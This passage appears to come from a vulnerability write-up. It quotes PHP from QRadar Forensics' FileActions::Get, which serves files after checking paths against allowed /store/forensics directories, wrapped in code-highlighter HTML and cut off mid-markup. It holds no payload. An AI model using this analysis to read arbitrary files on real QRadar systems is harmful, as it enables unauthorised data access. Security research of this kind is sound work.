&#8220;get&#8221; functionality that allows an authenticated user to fetch certain files off the filesystem. file.php forwards the request to DejaVu\/FileActions.php, which does some checks to ensure that the file is in a restricted set of directories:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4fa542407220\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">  42     public static function Get()   43     {   44         global $TEMP_DIR, $PRODUCT_NAME, $QRADAR_PRE_URL_PATH;   45                 $pcapArray = array_key_exists ( &#8216;pcap&#8217;, $_REQUEST ) ? $_REQUEST [&#8216;pcap&#8217;] : &#8221;;   46                 $acceptablePaths = array(&#8220;\/store\/forensics\/case_input&#8221;,&#8221;\/store\/forensics\/case_input_staging&#8221;, &#8220;\/store\/forensics\/tmp&#8221;);   47         $docid = array_key_exists(&#8216;docid&#8217;, $_GET) ? $_GET[&#8216;docid&#8217;] : &#8221;;   48         $guitype = array_key_exists(&#8216;gui&#8217;, $_GET) ? htmlspecialchars($_GET[&#8216;gui&#8217;], ENT_QUOTES) : &#8216;standard&#8217;;   49         $path = array_key_exists(&#8216;path&#8217;, $_GET) ? $_GET[&#8216;path&#8217;] : &#8221;;   50         if (!empty($path))   51         {   52                 $path = urldecode($path);   53                 $path = FileActions::validate_path($path, $acceptablePaths);   54                 if(empty($path))   55                 {   56                         QRadarLogger::logQradarError(&#8220;FileActions.Get(): operation failed&#8221;);   57                         return;   58                 }   59         }  &#8230;   98         if (!empty($docid)) {   99             $doc = IndexQuery::GetDocument($docid, $guitype);  100             if ($doc) {  101                 $savedFile = new SavedFile($doc);  102                 if ($savedFile-&gt;hasFile()) {  103                     if ($savedFile-&gt;isLocal())  104                         $savedFile-&gt;sendFile($guitype);  105                     else  106                         $savedFile-&gt;doProxy();  107                 } else  108                     send404();  109             } else  110                 send404();  111   112         } else if (!empty($path)) {  113             if (file_exists($path)) {  114                 if (!SavedFile::VetFile($path, $guitype))  115                     return;  116                 readfile($path);  117             } else  118                 send404();  119<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fa542407220-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fa542407220-41\">41<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-1\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">42<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-2\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-3\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">44<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-m\">global<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">TEMP_DIR<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">PRODUCT_NAME<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">QRADAR_PRE_URL_PATH<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-4\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">45<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pcapArray<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">array_key_exists<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;pcap&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">_REQUEST<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">_REQUEST<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;pcap&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-5\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">46<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">acceptablePaths<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;\/store\/forensics\/case_input&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;\/store\/forensics\/case_input_staging&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;\/store\/forensics\/tmp&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-6\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">47<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">docid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">array_key_exists<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;docid&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_GET<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_GET<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;docid&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-7\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">48<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">guitype<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">array_key_exists<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;gui&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_GET<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">htmlspecialchars<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_GET<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;gui&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ENT_QUOTES<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;standard&#8217;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-8\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">49<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">array_key_exists<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;path&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_GET<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_GET<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;path&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-9\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">50<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-10\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">51<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-11\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">52<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">urldecode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-12\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">53<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FileActions<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">validate_path<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">acceptablePaths<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-13\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">54<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-14\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">55<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-15\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">56<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">QRadarLogger<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">logQradarError<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;FileActions.Get(): operation failed&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-16\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">57<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-17\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">58<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-18\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">59<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-19\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-20\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">98<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">docid<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-21\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">99<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">doc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IndexQuery<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">GetDocument<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">docid<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">guitype<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-22\"><span class=\"crayon-cn\">100<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">doc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-23\"><span class=\"crayon-cn\">101<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">savedFile<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SavedFile<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">doc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-24\"><span class=\"crayon-cn\">102<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">savedFile<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">hasFile<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-25\"><span class=\"crayon-cn\">103<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">savedFile<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">isLocal<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-26\"><span class=\"crayon-cn\">104<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">savedFile<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">sendFile<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">guitype<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-27\"><span class=\"crayon-cn\">105<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-28\"><span class=\"crayon-cn\">106<\/span><span 